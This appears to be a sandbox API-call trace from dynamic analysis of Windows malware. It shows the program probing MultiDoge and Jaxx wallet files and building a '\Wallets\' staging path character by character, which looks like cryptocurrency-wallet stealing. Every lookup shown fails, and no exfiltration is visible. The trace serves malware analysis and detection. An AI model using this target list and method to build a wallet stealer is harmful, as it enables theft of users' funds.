[0055.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65
[0055.107] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x82) returned 0x67db50
[0055.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=65, lpWideCharStr=0x67db50, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\MultiDoge\\multidoge.wallet") returned 65
[0055.107] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x670508
[0055.107] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.107] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\MultiDoge\\multidoge.wallet" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\multidoge\\multidoge.wallet"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="h", cAlternateFileName="")) returned 0xffffffff
[0055.107] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670508 | out: hHeap=0x670000) returned 1
[0055.107] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67db50
[0055.107] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="h", cAlternateFileName="")) returned 0
[0055.107] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.107] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da48
[0055.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da48, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da48 | out: hHeap=0x670000) returned 1
[0055.108] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67db78
[0055.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.108] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da78
[0055.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da78, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da78 | out: hHeap=0x670000) returned 1
[0055.108] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=50, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 50
[0055.108] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x64) returned 0x6704e8
[0055.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=50, lpWideCharStr=0x6704e8, cchWideChar=50 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\MultiDoge\\h") returned 50
[0055.108] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0xe055320
[0055.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704e8 | out: hHeap=0x670000) returned 1
[0055.108] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\MultiDoge\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\multidoge\\h")) returned 0xffffffff
[0055.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.108] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.108] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.108] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.108] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.109] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.109] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.109] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.109] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.109] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.109] lstrcatA (in: lpString1="\\Wallets\\", lpString2="MultiDoge" | out: lpString1="\\Wallets\\MultiDoge") returned="\\Wallets\\MultiDoge"
[0055.109] lstrcatA (in: lpString1="\\Wallets\\MultiDoge", lpString2="\\" | out: lpString1="\\Wallets\\MultiDoge\\") returned="\\Wallets\\MultiDoge\\"
[0055.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.109] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d978
[0055.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67d978, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.109] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d978 | out: hHeap=0x670000) returned 1
[0055.109] lstrcatA (in: lpString1="\\Wallets\\MultiDoge\\", lpString2="h" | out: lpString1="\\Wallets\\MultiDoge\\h") returned="\\Wallets\\MultiDoge\\h"
[0055.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.109] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da78
[0055.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da78, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.109] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da78 | out: hHeap=0x670000) returned 1
[0055.109] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.109] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\MultiDoge\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\multidoge\\h"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.109] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.109] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da48
[0055.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da48, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.109] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da48 | out: hHeap=0x670000) returned 1
[0055.109] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.109] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\MultiDoge\\h" | out: lpString1="\\Wallets\\MultiDoge\\h") returned="\\Wallets\\MultiDoge\\h"
[0055.109] lstrlenA (lpString="/Wallets/MultiDoge/h") returned 20
[0055.109] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\MultiDoge\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\multidoge\\h"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db78 | out: hHeap=0x670000) returned 1
[0055.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67efa8 | out: hHeap=0x670000) returned 1
[0055.110] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67efa8
[0055.110] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0055.110] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db40
[0055.110] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.110] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db68
[0055.110] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67dba0
[0055.110] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x5f) returned 0x6704a0
[0055.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dba0 | out: hHeap=0x670000) returned 1
[0055.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=78, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78
[0055.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x9c) returned 0xe055320
[0055.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=78, lpWideCharStr=0xe055320, cchWideChar=78 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\jaxx\\Local Storage\\file__0.localstorage") returned 78
[0055.111] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0xe0553c8
[0055.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.112] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\jaxx\\Local Storage\\file__0.localstorage" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\jaxx\\local storage\\file__0.localstorage"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="h", cAlternateFileName="")) returned 0xffffffff
[0055.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe0553c8 | out: hHeap=0x670000) returned 1
[0055.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67dba0
[0055.112] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="h", cAlternateFileName="")) returned 0
[0055.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da58
[0055.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da58, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da58 | out: hHeap=0x670000) returned 1
[0055.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d978
[0055.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67d978, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.112] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d978 | out: hHeap=0x670000) returned 1
[0055.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704e8
[0055.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704e8, cbMultiByte=59, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 59
[0055.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0xe055320
[0055.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704e8, cbMultiByte=59, lpWideCharStr=0xe055320, cchWideChar=59 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\jaxx\\Local Storage\\h") returned 59
[0055.112] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0xe0553a0
[0055.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.113] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\jaxx\\Local Storage\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\jaxx\\local storage\\h")) returned 0xffffffff
[0055.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe0553a0 | out: hHeap=0x670000) returned 1
[0055.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704e8 | out: hHeap=0x670000) returned 1
[0055.113] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.113] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.113] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.113] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.113] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.113] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.113] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.113] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.113] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.113] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Jaxx_Desktop_Old" | out: lpString1="\\Wallets\\Jaxx_Desktop_Old") returned="\\Wallets\\Jaxx_Desktop_Old"
[0055.113] lstrcatA (in: lpString1="\\Wallets\\Jaxx_Desktop_Old", lpString2="\\" | out: lpString1="\\Wallets\\Jaxx_Desktop_Old\\") returned="\\Wallets\\Jaxx_Desktop_Old\\"
[0055.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da18
[0055.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67da18, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da18 | out: hHeap=0x670000) returned 1
[0055.113] lstrcatA (in: lpString1="\\Wallets\\Jaxx_Desktop_Old\\", lpString2="h" | out: lpString1="\\Wallets\\Jaxx_Desktop_Old\\h") returned="\\Wallets\\Jaxx_Desktop_Old\\h"
[0055.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d9d8
[0055.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67d9d8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9d8 | out: hHeap=0x670000) returned 1
[0055.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704e8
[0055.114] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\jaxx\\Local Storage\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\jaxx\\local storage\\h"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704e8 | out: hHeap=0x670000) returned 1
[0055.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d988
[0055.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=2, lpMultiByteStr=0x67d988, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 2
[0055.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d988 | out: hHeap=0x670000) returned 1
[0055.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704e8
[0055.114] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Jaxx_Desktop_Old\\h" | out: lpString1="\\Wallets\\Jaxx_Desktop_Old\\h") returned="\\Wallets\\Jaxx_Desktop_Old\\h"
[0055.114] lstrlenA (lpString="/Wallets/Jaxx_Desktop_Old/h") returned 27
[0055.114] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\jaxx\\Local Storage\\h" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\jaxx\\local storage\\h"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704e8 | out: hHeap=0x670000) returned 1
[0055.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dba0 | out: hHeap=0x670000) returned 1
[0055.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db68 | out: hHeap=0x670000) returned 1
[0055.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db40 | out: hHeap=0x670000) returned 1
[0055.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67efa8 | out: hHeap=0x670000) returned 1
[0055.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67db18
[0055.115] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67efa8
[0055.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x67db60
[0055.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db60, cbMultiByte=95, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 95
[0055.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x6704a0
[0055.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db60, cbMultiByte=95, lpWideCharStr=0x6704a0, cchWideChar=95 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\*.*") returned 95
[0055.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0xe055320
[0055.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.115] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\com.liberty.jaxx\\indexeddb\\file__0.indexeddb.leveldb\\*.*"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0055.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x6704a0
[0055.116] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0055.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db60 | out: hHeap=0x670000) returned 1
[0055.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67da08
[0055.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67da08, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da08 | out: hHeap=0x670000) returned 1
[0055.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x67db60
[0055.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67d9f8
